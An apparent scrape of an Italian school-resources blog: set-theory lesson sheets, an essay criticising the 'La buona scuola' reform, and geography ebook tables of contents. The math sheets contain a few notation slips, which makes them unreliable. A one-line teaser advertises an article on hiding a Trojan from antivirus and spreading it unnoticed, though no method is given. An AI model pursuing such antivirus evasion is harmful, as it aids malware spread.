Presi tutti gli elementi di $ A $, ci si può chiedere per ognuno di essi se appartiene o meno a un determinato sottoinsieme di $ A $: per ogni elemento si possono avere due possibilità, o appartiene o non appartiene.Si hanno pertanto in totale:

$ 2 \cdot 2 \cdot \ldots \cdot 2 = 2^n $

cioè 2 moltiplicato n volte.

Materiale di supporto

Esercizi

Dispensa

Documento di <a href="http://office.com">Microsoft Office</a> incorporato, con tecnologia Office Online.

Sottoinsiemi e loro proprietà

Scheda che introduce il concetto di sottoinsieme e le principali proprietà. La scheda è corredata di diversi esempi.

I sottoinsiemi

Definizione

Si consideri un insieme $ A $. Si dice che un insieme $ B $ è un sottoinsieme di $ A $ se e solo se preso un qualunque elemento di $ B $, esso è anche un elemento di $ A $. In tal caso si scrive che $ B \subset A $ o anche $ A \supset B $ , e si leggono “A è un sottoinsieme di B”

Osservazione

“Se e solo se” significa che se un insieme B è un sottoinsieme di A allora preso un qualunque elemento di B, esso è anche un elemento di A, ma anche il viceversa ovvero se preso un qualunque elemento di un insieme B, esso è anche un elemento di un insieme A, allora B è un sottoinsieme di A.

Esempio 1

L’insieme $ V $ delle vocali dell’alfabeto è un sottoinsieme dell’insieme $ A $ delle lettere dell’alfabeto. Infatti, gli elementi di $ V $, che sono a, e , i , o, u, sono tutti elementi di $ A $. Dunque $ V \subset A $, o anche $ A \supset B $.

Esempio 2

L’insieme $ P $ dei numeri primi è un sottoinsieme dell’insieme $ \mathbb{N} $ dei numeri naturali. Infatti gli elementi di $ P $, che sono 2,3,5,7,… (sono infiniti), sono tutti numeri naturali. Dunque $ P \subset \mathbb{N} $, o anche $ \mathbb{N} \supset P $.

Esempio 3

L’insieme $ M $ degli studenti della vostra classe è un sottoinsieme dell’insieme $ S $ di tutti gli studenti della vostra scuola. Infatti tutti gli studenti della vostra classe studiano nella vostra scuola. Dunque $ M \subset S $, o anche $ S \supset M $.

Rappresentazione dei sottoinsiemi

La rappresentazione più utilizzata è quella grafica. Se $ D \subset E $, si disegna all’interno dell’insieme E, l’insieme D.

Esempio

Riprendendo gli esempi precedenti, le loro rappresentazioni grafiche sono

Insiemi uguali

Utilizzando la definizione di sottoinsieme si può dare un’altra definizione di insiemi uguali.

Definizione

Si dice che due insiemi $ A $, $ B $ sono uguali se e solo se uno è sottoinsieme dell’altro, ovvero, preso un qualunque elemento di $ A $, esso è anche un elemento di $ B $, e preso un qualunque elemento di $ B $, esso è anche un elemento di $ A $. In tal caso si scrive $ A = B $.

I sottoinsiemi impropri

Si consideri un qualsiasi insieme $ A $: l’insieme vuoto è sempre suo sottoinsieme, così come l’insieme $ A $ stesso.

Definizione

Dato un insieme $ A $ si definiscono sottoinsiemi impropri di $ A $ l’insieme vuoto ∅ e $ A $ stesso. Tutti gli altri sottoinsiemi di $ A $ si dicono propri.

L’insieme universo e i suoi sottoinsiemi

Qualsiasi insieme è un sottoinsieme dell’insieme universo, in quanto a esso appartengono tutti gli insiemi (come elementi), tutti gli elementi di tali insiemi.

Altre risorse per approfondire l’argomento

Elementi di Teoria degli Insiemi: dispensa a livello universitario

Videolezione sui sottoinsiemi

Insieme universo e ambiente

Scheda che introduce l’insieme universo e l’insieme ambiente. La scheda è corredata di diversi esempi.

L’insieme universo

Definizione

Si chiama insieme universo quell’insieme che contiene tutti gli insiemi e tutti gli elementi esistenti. Tale insieme è indicato con U.

Osservazione

L’insieme universo, dovendo contenere tutti gli insiemi, contiene, oltre a $ \varnothing $, anche se stesso.

Generalmente l’insieme universo viene rappresentato, attraverso la rappresentazione grafica, come un rettangolo all’interno del quale si disegnano tutti i suoi elementi.

L’insieme ambiente

A volte può capitare di dover considerare degli insiemi o degli elementi di un certo tipo, e soltanto essi. Per esempio, se si deve risolvere un problema matematico, alcuni insiemi, come l’insieme $ C $ dei cantanti potrebbero non servire a nulla, così come alcuni elementi, e non è dunque necessario considerarli. È conveniente allora prendere soltanto gli elementi e gli insiemi di cui si ha bisogno: essi costituiscono una sorta di insieme universo adattato al problema considerato, l’ambiente nel quale si lavora.

Definizione

L’insieme ambiente è l’insieme di tutti e soli gli elementi e di tutti e soli gli insiemi che si considerano in un determinato problema.

Esempi

– Dato il problema “Trovare i divisori positivi di 68”, non è necessario considerare tutti i numeri possibili, ma basterà utilizzare come insieme ambiente l’insieme $ \mathbb{N} $ dei numeri naturali.

– Dato il problema “Trovare tutte le parole di quattro cifre che hanno senso compiuto” basterà utilizzare come insieme ambiente l’insieme $ A $ delle lettere dell’alfabeto.

– Dato il problema “Trovare tutte le possibili classifiche finali del campionato di calcio” basterà utilizzare come insieme ambiente l’insieme $ S $ delle squadre di calcio iscritte al campionato.

– Dato il problema “Scegliere fra le classi e gli studenti della scuola le due classi con il maggior numero di studenti, e i due studenti con la media dei voti più alta” basterà utilizzare come insieme ambiente l’insieme $ P $ delle classi (che sono insiemi i cui elementi sono gli studenti che la compongono), e degli studenti della scuola.

Altro materiale utile

Test sulla teoria degli insiemi.

Appunti sugli insiemi in formato PDF.

La rappresentazione degli insiemi

Scheda che introduce la rappresentazione degli insiemi mediante i diagrammi di Eulero-Venn, la rappresentazione per elencazione e per proprietà caratteristica. La scheda è corredata di diversi esempi e propone degli esercizi riepilogativi.

La rappresentazione di un insieme si può ottenere generalmente in tre modi.

Rappresentazione mediante i diagrammi di Eulero-Venn

È un tipo di rappresentazione grafica. Si realizza racchiudendo gli elementi che appartengono all’insieme all’interno di una linea chiusa non intrecciata, come nei disegni:

Esempi

L’insieme $ A $ delle prime cinque lettere dell’alfabeto può essere rappresentato nel seguente modo:

L’insieme $ B $ dei numeri naturali pari più piccoli di 7 può essere rappresentato nel seguente modo:

L’insieme vuoto $ \varnothing $ può essere rappresentato nel seguente modo:

Osservazione. A volte la rappresentazione per diagrammi di Eulero-Venn può risultare scomoda, ad esempio quando si devono rappresentare insiemi che hanno un numero infinito di elementi, come ℕ: si dovrebbero rappresentare infatti infiniti elementi!

Rappresentazione per elencazione

Questa rappresentazione si ottiene scrivendo, all’interno di una coppia di parentesi graffe, uno alla volta tutti gli elementi che appartengono all’insieme, separandoli con delle virgole.

Osservazione. L’ordine con cui scrivo gli elementi dell’insieme non è importante, ovvero se si scrive prima un elemento e dopo un altro, o si fa il viceversa, non cambia nulla.

Esempi

Con le notazioni degli esempi precedenti si ha:

$ A =\{a, b, c, d, e\} $

$ B= \{0, 2, 4, 6\} $

$ \varnothing =\{\} $

Osservazione. Anche la rappresentazione per elencazione risulta scomoda per rappresentare insiemi infiniti. Di solito, quando la si utilizza, si scrivono i primi elementi dell’insieme, e poi si scrive “…”

Esempi

$ \mathbb{N} = \{0, 1, 2, 3, …\} $

$ \mathbb{Z} = \{0, \pm 1, \pm 2, \pm 3, …\} $

Rappresentazione per proprietà caratteristica

Per ottenere questo tipo di rappresentazione si deve cercare una “regola” che ci permetta di stabilire in maniera certa se un elemento appartiene all’insieme che vogliamo rappresentare o se non gli appartiene. Si scrive $ A = \{x | p(x)\} $. Dove $ p(x) $ è la proprietà che “descrive” gli elementi dell’insieme, e si legge “$ A $ è l’insieme degli elementi $ x $ tali che $ p(x) $ sia vera”.

Esempi

– Con le notazioni degli esempi precedenti si ha:

$ A = \{x | x \text{ è una delle prime cinque lettere dell’alfabeto}\} $

$ B = \{x | x \text{ è un numero naturale pari minore di 7}\} = \{x | x \in \mathbb{N}, x \text{ è pari e } x < 7\} $

$ C = \{x | x \text{ è un numero primo multiplo di 4}\} $

– Se si considera l’insieme $ C $ dei numeri naturali multipli di 4, le tre possibili rappresentazioni sono:

$ C = \{0, 4, 8, 12, 16, \ldots \} $

$ C = \{x | x \in \mathbb{N} \text{ e } x \text{ è multiplo di } 4\} $

Osservazione. La rappresentazione per proprietà caratteristica risulta comoda per rappresentare gli insiemi infiniti perché con essa si stabiliscono in maniera certa tutti gli elementi dell’insieme. Se si considera ad esempio l’insieme

$ D = \{0, 3, 4, 6, 8, \ldots \} $

non si riesce a capire bene se, ad esempio, il numero $ 21 $ gli appartenga o meno. Potrebbe essere:

$ D = \{x | x \in \mathbb{N} \text{ e } x \text{ è un multiplo di 3 oppure di 4}\} $

oppure

$ D = \{x | x \in \mathbb{N} \text{ e } x \text{ è un multiplo di 4 oppure è uno dei primi cinque multipli di 3}\} $

Nel primo caso si avrebbe $ 21 \in D $, nel secondo $ 21 \not\in D $.

Altro materiale da consultare

Dispensa sugli insiemi in PowerPoint.

Insiemi: concetti generali

Scheda che introduce i concetti generali di insieme, elemento, appartenenza, non appartenenza, uguaglianza, insieme vuoto e cardinalità con i loro simboli, più il concetto di insieme finito e di insieme infinito. La scheda è corredata di diversi esempi.

Il concetto di insieme

In Matematica non si dà una vera e propria definizione di insieme ma se proprio se ne volesse dare una si potrebbe dire che:

(Pseudo) Definizione

Un insieme è una collezione di elementi determinato da una precisa regola che ci permette di stabilire se un elemento appartiene all’insieme, o se invece non vi appartiene.

Osservazione

Questa definizione non è una buona definizione perché è stato utilizzato il termine “collezione”, che è proprio un sinonimo di “insieme”!

Simboli

Un generico insieme si indica con una lettera maiuscola dell’alfabeto.

Esempi

$ A $ è l’insieme delle lettere dell’alfabeto;

$ M $ è l’insieme dei matematici;

$ N $ è l’insieme dei numeri naturali;

Il concetto di elemento

Gli elementi sono ciò di cui “sono fatti” gli insiemi. Anche in questo caso non si dà una definizione.

Simboli

Un generico elemento di un insieme si indica con una lettera minuscola dell’alfabeto; un numero viene indicato semplicemente come numero.

Esempi

Se $ A $ è l’insieme delle lettere dell’alfabeto, a, b, c sono elementi di $ A $.
Gauss è un elemento di $ M $; possiamo anche indicare “Gauss” con una lettera minuscola come $ g $;
5 è un elemento di $ N $;

Osservazione

Il concetto di elemento e quello di insieme sono distinti in quanto il secondo è una “collezione” dei primi, però non sempre questa distinzione è necessaria: se per esempio consideriamo un insieme formato da altri insiemi, come l’insieme $ V $ dei videogiochi divisi per tipologia, l’insieme $ S $ dei videogiochi sportivi si può effettivamente considerare un elemento di $ V $.

Appartenenza e non appartenenza

Un elemento può appartenere o non appartenere a un insieme. Anche per i concetti di appartenenza e di non appartenenza non si dà una definizione.

Simboli

Se un elemento $ x $ appartiene a un insieme $ A $, si scrive che $ x \in A $.

Se un elemento $ x $ non appartiene a un insieme, si scrive che $x \not\in A $.

Esempi

Con le notazioni degli esempi precedenti si può scrivere che

a $ \in A $, b $ \in A $, c $ \in A $, dove $ A $ è l’insieme delle lettere dell’alfabeto

$ g \in M $, dove $ M $ è l’insieme dei matematici e $ g $ rappresenta il matematico Gauss

$ 5 \in N $, dove $ N $ è l’insieme dei numeri naturali.

Insiemi uguali

Un insieme è completamente definito dai suoi elementi.

Definizione

Si dice che due insiemi $ A $ e $ B $ sono uguali se e solo se hanno gli stessi elementi. In tal caso si scrive $ A = B $.

Insieme vuoto

Definizione

Si definisce insieme vuoto, e si indica con $ \varnothing $, l’insieme che non ha elementi.

Osservazione

Se consideriamo ad esempio gli insiemi $ A $ dei numeri primi multipli di 4 e $ B $ dei continenti che iniziano per “z”, essi formalmente hanno gli stessi elementi, e dunque sono uguali. Siccome questo discorso si può ripetere per qualsiasi numero di insiemi che non contengono nessun elemento, si conclude che l’insieme vuoto è unico.

Cardinalità

Definizione

Si definisce cardinalità di un insieme $ A $, e la si indica con $ | A | $, il numero di elementi di $ A $.

Esempi

Se indichiamo con $ V $ l’insieme delle vocali del nostro alfabeto, avremo che $ | V | = 5 $.

Se indichiamo con $ P $ l’insieme dei numeri primi pari, avremo che $ |P| = 1 $.

Insiemi finiti e infiniti

Definizione

Si definisce insieme finito un insieme la cui cardinalità è un numero naturale. Se un insieme non è finito, si dice che esso è infinito.

Esempi

Con le notazioni degli esempi precedenti, insiemi come $ A $, $ M $, $ V $ e $ P $ sono finiti. Insiemi come $ N $ sono invece infiniti.

Altre fonti utili

Guarda la videolezione sugli insiemi

ed esegui il test sugli insiemi.

Per approfondire ulteriormente l’argomento consulta il capitolo relativo agli insiemi del libro Matematica C3: Algebra 1. Se vuoi invece conoscere la terminologia inglese sugli insiemi visita il sito mathisfun.com.

L’assenza di professionalità

La zavorra de La buona scuola

I professionisti della scuola sono soggetti che progettano, che realizzano o che progettano e realizzano processi volti al conseguimento dei risultati attesi. (cfr. Insegnare matematica dopo il riordino)

Un indirizzo di pensiero suffragato dalla norma sull’autonomia scolastica che “si sostanzia nella progettazione e nella realizzazione di interventi di educazione, formazione e istruzione mirati allo sviluppo della persona umana”, prescrizione cestinata dalla legge 107/15 (cfr. La vena reazionaria de “La buona scuola”)

Una definizione fondata su “progettazione” che è

ideata all’interno d’un contesto;
finalizzata al conseguimento di specifici risultati
la caratteristica delle organizzazioni che, capitalizzando il vissuto, apprendono

L’ambito in cui nasce il problema educativo

Il vorticoso cambiamento del mondo contemporaneo, l’incontrollabile dilatazione del campo dei problemi, l’esplosione delle conoscenze, rendono imprevedibile lo scenario con cui interagirà lo studente che accede alla scuola secondaria.
Un’incertezza che implica l’individuazione di variabili non soggette all’usura del tempo, la cui determinazione consente di fissare la finalità del sistema scolastico.

L’art. 2 della legge 53/2003, in conformità a tale presupposto, recita: “È promosso l’apprendimento in tutto l’arco della vita e sono assicurate a tutti pari opportunità di raggiungere elevati livelli culturali e di sviluppare le capacità e le competenze, attraverso conoscenze e abilità, generali e specifiche, coerenti con le attitudini e le scelte personali, adeguate all’inserimento nella vita sociale e nel mondo del lavoro, anche con riguardo alle dimensioni locali, nazionale ed europea” .

Ne discende la strumentalità di conoscenze e abilità: rappresentano opportunità per la messa a punto di occasioni d’apprendimento [Il significato di apprendimento è circoscritto in “All’origine della dispersione scolastica”.

La buona scuola banalizza il problema educativo ancorandolo al presente:
Art. 33 – “Al fine di incrementare le opportunità di lavoro e le capacità di orientamento degli studenti, i percorsi di alternanza scuola-lavoro sono attuati, negli istituti tecnici .. e professionali, per una durata complessiva, nel secondo biennio e nell’ultimo anno del percorso di studi, di almeno 400 ore e, nei licei, per una durata complessiva di almeno 200 ore nel triennio”.

Art. 40 – “Il dirigente scolastico individua, gli enti pubblici e privati disponibili .. e stipula apposite convenzioni anche finalizzate a favorire l’orientamento scolastico e universitario dello studente”.

Un appiattimento confermato dall’art. 56: “Al fine di sviluppare e di migliorare le competenze digitali degli studenti e di rendere la tecnologia digitale uno strumento didattico di costruzione delle competenze in generale, il Ministero dell’istruzione, dell’università e della ricerca adotta il Piano nazionale per la scuola digitale, in sinergia con la programmazione europea e regionale e con il Progetto strategico nazionale per la banda ultralarga”, norma decodificata in “La scuola regredisce. Dal Piano Nazionale Informatica al Piano Nazionale Scuola Digitale.”.

I risultati attesi

Al termine dell’obbligo scolastico e della secondaria superiore le commissioni d’esame devono certificare le competenze che gli studenti hanno esibito: la valutazione del grado di conseguimento della finalità istituzionale.

Razionalità avrebbe voluto che gli estensori de La buona scuola, prima di elaborare il testo del provvedimento, avessero ricercato e identificato il contenuto di tale parola; si sono limitati a aggettivarla: linguistiche, logico-matematico e scientifiche, digitali, in materia di cittadinanza attiva .. i principi fondanti la prassi progettuale sono elusi.
Un primo raffinamento della problematica è in rete: “La professionalità dei docenti: un campo inesplorato”. Scarica il documento.

L’organizzazione che apprende

La complessità dei problemi si domina procedendo per raffinamenti successivi: il problema principale é scomposto in sottoproblemi che, se non elementari, sono a loro volta smembrati.

I decreti delegati del 74 sono una puntuale applicazione dei dettami delle scienze dell’organizzazione: a soggetti diversi è affidato un preciso mandato che esplicita, puntualizzando, i traguardi da conseguire. Questi, una volta ottenuti i risultati, consentono di capitalizzare gli scostamenti rilevati e migliorare l’incisività del servizio scolastico. In rete: “Coraggio! Organizziamo le scuole” tratteggia la via risolutiva, esplicitando i nodi di feed-back.

La legge 107/15 non riconosce la dimensione del problema educativo, lo semplifica, snaturandolo. Le responsabilità strategiche sono attribuite al dirigente scolastico. Il Consiglio di Circolo/d’Istituto è esautorato: il TU 297/94 gli aveva affidato la responsabilità di “Elaborare e adottare gli indirizzi generali” e quella di deliberare “I criteri generali della programmazione educativa” al fine di orientare il lavoro del Collegio dei Docenti, prerogative confermate e rinforzate dal DPR sull’autonomia delle istituzioni scolastiche.

Il buon padre di famiglia, prima di ogni sostituzione, ricerca e individua le cause dei malfunzionamenti.
Nella presentazione alle Camere de La buona scuola si afferma, senza portare alcun argomento a sostegno della tesi: “Il testo unico infatti, risalente al 1994, non risulta più coerente con la legislazione vigente”. (Cfr. “I responsabili del disservizio scolastico sono premiati”).

Come nascondere un virus in un software

Dopo aver visto in un articolo precedente cos’è un Trojan e come funziona vediamo com’è possibile che questo venga reso invisibile agli antivirus e soprattutto come sia possibile fare in modo che sia più facile distribuirlo senza “dare nell’occhio”. Continua a leggere “Come nascondere un virus in un software” →

Geo 1, Le regioni italiane (prima media)

Presentazione

Questo ebook di Geografia per la scuola secondaria di primo grado fa parte di una collana di ebook con licenza Creative Commons BY-SA per la scuola. Non vuole essere un trattato completo sull’argomento ma una sintesi sulla quale l’insegnante può basare la lezione, indicando poi testi e altre fonti per gli approfondimenti. Lo studente può consultarlo come riferimento essenziale da cui partire per approfondire. La licenza Creative Commons, con la quale viene rilasciato, permette non solo di fruire liberamente l’ebook ma anche di modificarlo e personalizzarlo secondo le esigenze dell’insegnante e della classe. Chiunque può contribuire a migliorare questo ebook, segnalando integrazioni, modifiche e sviste al coordinatore del progetto [email protected].

INDICE

Trentino Alto-Adige 5
Friuli Venezia Giulia 10
Valle d’Aosta 15
Piemonte 20
Lombardia 29
Veneto 37
Liguria 44
Emilia Romagna 52
Toscana 58
Umbria 67
Molise 72
Abruzzo 77
Lazio 86
Campania 94
Marche 106
Puglia 112
Basilicata 121
Calabria 127
Sicilia 134
Sardegna 148

Geo 1: Le regioni italiane

I paesaggi, la popolazione, l’economia

Geografia per il primo anno della scuola secondaria di primo grado.

A cura di Elisabetta Leonetti
Coordinamento editoriale: Antonio Bernardo
Ricerca iconografica: Cristina Capone
Cartine tematiche: Studio Aguilar
Copertina Ginger Lab – www.gingerlab.it

Settembre 2013
ISBN 9788896354490
Progetto Educationalab
Mobility IT srl

Questo libro è rilasciato con licenza Creative Commons BY-NC-SA
Attribuzione – Non commerciale – Condividi allo stesso modo 3.0
http://creativecommons.org/licenses/by-nc-sa/3.0/legalcode
Alcuni testi di questo libro sono in parte tratti da Wikipedia

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Geo 1, Europa e Italia (prima media)

Presentazione

Questo ebook di Geografia per il primo anno della scuola secondaria di secondo grado fa parte di una collana di ebook con licenza Creative Commons BY-SA per la scuola. Non vuole essere un trattato completo sull’argomento ma una sintesi sulla quale l’insegnante può basare la lezione, indicando poi testi e altre fonti per gli approfondimenti. Lo studente può consultarlo come riferimento
essenziale da cui partire per approfondire. La licenza Creative Commons,
con la quale viene rilasciato, permette non solo di fruire liberamente
l’ebook ma anche di modificarlo e personalizzarlo secondo le esigenze dell’insegnante e della classe. Chiunque può contribuire a migliorare questo ebook, segnalando integrazioni, modifiche e sviste al coordinatore del progetto [email protected].

Indice

Presentazione 3

LA GEOGRAFIA: QUALI STRUMENTI? 8
1. Cos’è la geografia8
2. Chi è il geografo 8
3. L’orientamento 8
4. Punti cardinali e venti 9
5. Meridiani e paralleli 11
6. La latitudine12
7. La longitudine 12
8. Il tempo 12
9. La linea del cambiamento di data 13
10. L’ora legale 14
11. La cartografia 14
12. I planisferi 14
13. Le carte geografiche 15
14. La carta tematica 16
15. La rappresentazione dei dati 17
L’AMBIENTE NATURALE 18
1. Le forze che modellano il territorio: esogene, endogene 18
IL PROFILO FISICO DELL’EUROPA 20
1. Confini 21
2. Dati 22
3. La composizione del territorio 22
IL TERRITORIO EUROPEO: OROGRAFIA 23
1. I vulcani 23
2. I terremoti 27
3. I rilievi 31
4. I ghiacciai 37
5. Le pianure 39
6. La collina 41
TERRITORIO EUROPEO: IDROGRAFIA42
1. La forza delle acque 42
2. Il ciclo dell’acqua 42
3. Il mare e le coste44
4. I mari dell’Europa 44
5. Costa 45
6. Le coste europee 46
7. Le isole e le penisole 48
8. I fiumi 49
9. I laghi55
IL TERRITORIO ITALIANO 59
1. Confini 60
2. Punti estremi 60
3. Composizione del territorio 60
4. Etimologia 61
TERRITORIO ITALIANO: OROGRAFIA 63
1. Le Alpi63
2. Gli Appennini 65
3. I ghiacciai 67
4. Il carsismo 68
5. Colline 70
6. Pianure 70
TERRITORIO ITALIANO: IDROGRAFIA 75
1. Fiumi 75
2. Laghi d’Italia 81
3. Mari 85
4. Le isole italiane 89
Geologia 92
1. Terremoti 92
2. Vulcanismo e geotermia 94
3. Rischio idrogeologico 95
IL CLIMA 95
1. Elementi del clima 95
2. Fattori del clima 97
3. I biomi99
4. Le Fasce climatiche 100
5. Attività antropica e spostamento delle fasce climatiche 101
I CLIMI EUROPEI 102
1. I biomi europei103
2. Meteorologia 105
CLIMA ITALIANO106
1. I biomi italiani 109
LO STATO EUROPEO 111
1. La nascita dell’Europa e degli europei 111
2. L’origine del nome “Europa” 111
3. La storia dell’Europa 112
4. Popolazione europea 113
5. Regioni dell’Europa 113
6. Le lingue e le religioni europee 115
7. L’Unione Europea 116
LO STATO ITALIANO 124
1. Geografia politica 124
2. Demografia, emigrazione ed immigrazione 127
3. Religione 128
4. Lingue 128
5. Altre lingue 129
6. Ordinamento dello Stato 129
7. Criminalità 132
8. Design e moda 132
9. Settore terziario 133
10. Turismo 133
11. Trasporti133
12. Divario Nord-Sud 134
13. Arte 134
14. Tradizioni135
15. Gastronomia135
SPAZIO ECONOMICO 136
1. I settori economici 136
2. Lo sviluppo economico: PIL e ISU 137
3. Il concetto di sviluppo umano 137
4. Il lavoro138
5. Lavoro ed economia: 138
6. Il mercato del lavoro 138
7. L’attività agricola 139
8. Il dibattito sugli OGM 139
9. Economia in Europa 139
10. Economia in Italia 140
L’EUROPA E L’AMBIENTE 143
1. Le Risorse naturali 143
Inquinamento 146
1. Inquinamento atmosferico 147
2. Inquinamento idrico 147
3. Altri tipi di inquinamento 147
4. L’Italia: risorse e inquinamento 150

Geo 1: Europa e Italia

Per la Scuola Secondaria di Primo Grado

A cura di Elisabetta Leonetti
Coordinamento editoriale: Antonio Bernardo
Ricerca iconografica: Cristina Capone
Cartine tematiche: Studio Aguilar
Copertina Ginger Lab – www.gingerlab.it

Settembre 2013
ISBN 9788896354483
Progetto Educationalab
Mobility IT srl

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Geo 2, Gli stati europei (seconda media)

Presentazione

Questo ebook di Geografia per il secondo anno della scuola secondaria di secondo grado fa parte di una collana di ebook con licenza Creative Commons BY-SA per la scuola. Non vuole essere un trattato completo sull’argomento ma una sintesi sulla quale l’insegnante può basare la lezione, indicando poi testi e altre fonti per gli approfondimenti. Lo studente può consultarlo come riferimento essenziale da cui partire per approfondire. La licenza Creative Commons, con la quale viene rilasciato, permette non solo di fruire liberamente l’ebook ma anche di modificarlo e personalizzarlo secondo le esigenze dell’insegnante e della classe. Chiunque può contribuire a migliorare questo ebook, segnalando integrazioni, modifiche e sviste al coordinatore del progetto [email protected].

INDICE

GLI STATI DELL’EUROPA 6
1. Il concetto di Stato6
2. Stato nazionale 7
3. La cittadinanza 8
4. Le forme dello Stato 10
5. Il demanio 10
6. I confini 10
7. Le aree regionali dell’Europa 11
REGIONE IBERICA 12
1. Spagna 12
2. Portogallo 21
3. Andorra27
REGIONE MEDITERRANEO-BALCANICA 29
1. Slovenia 29
2. Croazia 34
3. Bosnia-Erzegovina 39
4. Serbia 43
5. Kosovo 49
6. Montenegro 54
7. Macedonia 58
8. Albania 62
9. Bulgaria 67
10. Grecia 73
11. Malta 81
12. Cipro 85
REGIONE SCANDINAVA89
1. Norvegia 89
2. Finlandia 96
3. Islanda 102
4. Svezia 110
5. Danimarca 117
REGIONE BRITANNICA 122
1. Regno Unito 122
2. Irlanda130
REGIONE FRANCESE135
1. Francia 135
2. Monaco 147
3. Belgio 150
4. Paesi Bassi 158
5. Lussemburgo 165
REGIONE GERMANICA 168
1. Germania 168
2. Austria 178
3. Svizzera 184
4. Liechtenstein 194
REGIONE CENTRO-ORIENTALE 197
1. Polonia 197
2. Repubblica Ceca 202
3. Slovacchia 207
4. Ungheria 211
5. Romania 215
REGIONE RUSSO-BALTICA 220
1. Estonia 220
2. Lettonia226
3. Lituania230
4. Federazione Russa 234
5. Bielorussia 243
6. Ucraina 248
7. Moldavia253

Scarica Geo 2, gli stati europei.

Geo 2

Gli stati europei

Per la Scuola Secondaria di Primo Grado

A cura di Elisabetta Leonetti
Coordinamento editoriale: Antonio Bernardo
Ricerca iconografica: Cristina Capone
Cartine tematiche: Studio Aguilar
Copertina Ginger Lab – www.gingerlab.it

Settembre 2013
ISBN 9788896354506
Progetto Educationalab
Mobility IT srl

Questo libro è rilasciato con licenza
Creative Commons BY-NC-SA
Attribuzione – Non commerciale – Condividi allo stesso modo 3.0
http://creativecommons.org/licenses/by-nc-sa/3.0/legalcode
Alcuni testi di questo libro sono in parte tratti da Wikipedia

Versione del 03/11/2013

Geo 3, Il mondo (terza media)

Presentazione

Questo ebook di Geografia per il terzo anno della secondiaria di primo grado fa parte di una collana di ebook con licenza Creative Commons BY-SA per la scuola. Non vuole essere un trattato completo sull’argomento ma una sintesi sulla quale l’insegnante può basare la lezione, indicando poi testi e altre fonti per gli approfondimenti. Lo studente può consultarlo come riferimento essenziale da cui partire per approfondire. La licenza Creative Commons, con la quale viene rilasciato, permette non solo di fruire liberamente l’ebook ma anche di modificarlo e personalizzarlo secondo le esigenze dell’insegnante e della classe. Chiunque può contribuire a migliorare questo ebook, segnalando integrazioni, modifiche e sviste al coordinatore del progetto [email protected].

ALLA SCOPERTA DEL NOSTRO PIANETA12
1. Struttura interna della Terra 12
2. Proprietà chimico-fisiche della geosfera 14
3. Il pianeta Terra 15
4. Caratteristiche fisiche 16
5. Forma 17
6. Tettonica a zolle 18
7. La superficie terrestre 21
8. Le rocce 22
9. La biosfera 23
10. L’atmosfera 23
11. La Terra nel sistema solare 28
12. La Luna e sua influenza sulla Terra 30
13. Geografia terrestre 32
14. Clima e tempo atmosferico 33
15. Risorse naturali e utilizzo del suolo 34
16. Rischi naturali e ambiente 35
17. I continenti 35
18. Sistemi di suddivisione delle terre emerse 36
L’IDROSFERA37
1. Il ciclo idrologico 37
2. Le acque marine 38
3. Pianeta blu 39
4. Oceani39
5. Caratteristiche delle acque oceaniche 40
6. Gli ecosistemi oceanici41
7. Un bioma oceanico: le barriere coralline 42
8. Oceano Pacifico44
9. Oceano Indiano 46
10. Oceano Atlantico 48
11. Mare Glaciale Artico 50
12. Mare Antartico 52
13. Il mare 53
14. Il Fiume55
15. Il lago 57
I CLIMI PRINCIPALI DELLA TERRA 59
1. Clima tropicale 59
2. Clima temperato 59
3. Clima temperato freddo 60
4. Clima temperato fresco 61
5. Clima temperato caldo 62
6. Clima polare 62
UNIVERSO 63
1. Stelle 63
2. Galassia 64
3. Materia oscura 65
4. Nebulosa 65
5. Pianeta 66
6. Satellite naturale 66
7. Sistema solare 68
8. Luna 70
9. Movimenti della Terra 74
LA POPOLAZIONE DEL PIANETA 77
1. Breve storia della popolazione mondiale 77
2. Stime sul numero totale di esseri umani vissuti sulla Terra 79
3. Popolazione del pianeta 81
4. Urbanizzazione 82
5. Le lingue del pianeta 82
6. Le religioni del pianeta 85
LE RISORSE E L’ECONOMIA DEL PIANETA90
1. Risorsa naturale 90
2. Descrizione 90
3. Risorse energetiche 92
4. Risorse minerarie93
5. Risorse biologiche 93
6. Risorse rinnovabili 94
7. La risorsa idrica e la sua gestione95
8. Materie prime 96
9. Agricoltura 96
10. L’allevamento 96
11. L’industria 97
LA GLOBALIZZAZIONE 99
1. Organizzazione delle Nazioni Unite 100
2. Organi principali 102
AFRICA 106
1. Territorio 107
2. Coste e isole 108
3. Idrografia 108
4. Clima 110
5. Flora 110
6. Fauna 111
7. Storia 111
8. Lingue114
9. Religioni 115
10. Economia 115
AFRICA SETTENTRIONALE O MEDITERRANEA117
1. MAROCCO 117
2. ALGERIA 121
3. EGITTO 126
4. TUNISIA 131
5. LIBIA 135
AFRICA DEL SAHEL 140
1. MALI 140
2. NIGER 145
3. MAURITANIA 149
4. BURKINA FASO 152
5. CIAD 155
6. SUDAN 159
CORNO D’AFRICA 161
1. ETIOPIA 162
2. SOMALIA 166
3. ERITREA 169
4. GIBUTI 172
PAESI DELLA RIFT-VALLEY 175
1. UGANDA 176
2. RUANDA 180
3. BURUNDI 183
4. TANZANIA186
5. KENYA 190
AFRICA OCCIDENTALE 194
1. SENEGAL 195
2. CAPO VERDE 198
3. GAMBIA 201
4. GUINEA BISSAU 204
5. GUINEA 206
6. SIERRA LEONE 210
7. COSTA D’AVORIO 213
8. GHANA 216
9. TOGO 219
10. BENIN 223
11. NIGERIA 226
AFRICA EQUATORIALE 230
1. REPUBBLICA DEMOCRATICA DEL CONGO 231
2. CAMERUN 234
3. REPUBBLICA CENTROAFRICANA 238
4. GABON 241
5. GUINEA EQUATORIALE 244
6. SÃO TOMÉ E PRÍNCIPE 248
7. REPUBBLICA DEL CONGO 251
AFRICA AUSTRALE O MERIDIONALE 254
1. ANGOLA 255
2. ZAMBIA 258
3. ZIMBABWE 262
4. MALAWI 266
5. MOZAMBICO 269
6. NAMIBIA 272
7. BOTSWANA275
8. REPUBBLICA SUDAFRICANA 278
9. LESOTHO 283
10. SWAZILAND 285
11. MADAGASCAR 288
12. SEYCHELLES 293
13. COMORE 295
14. MAURITIUS 297
ASIA 300
1. Territorio 301
2. Clima 302
3. Flora e fauna 302
4. Popolazione 303
5. Storia 303
ASIA OCCIDENTALE 304
1. ISRAELE 305
2. LIBANO 310
3. SIRIA 313
4. GIORDANIA316
5. ARABIA SAUDITA 319
6. IRAN 322
7. IRAQ 325
8. TURCHIA 328
9. KUWAIT 331
10. QATAR 333
11. OMAN 336
12. BAHREIN 339
13. EMIRATI ARABI 341
14. YEMEN 344
ASIA CAUCASICA 347
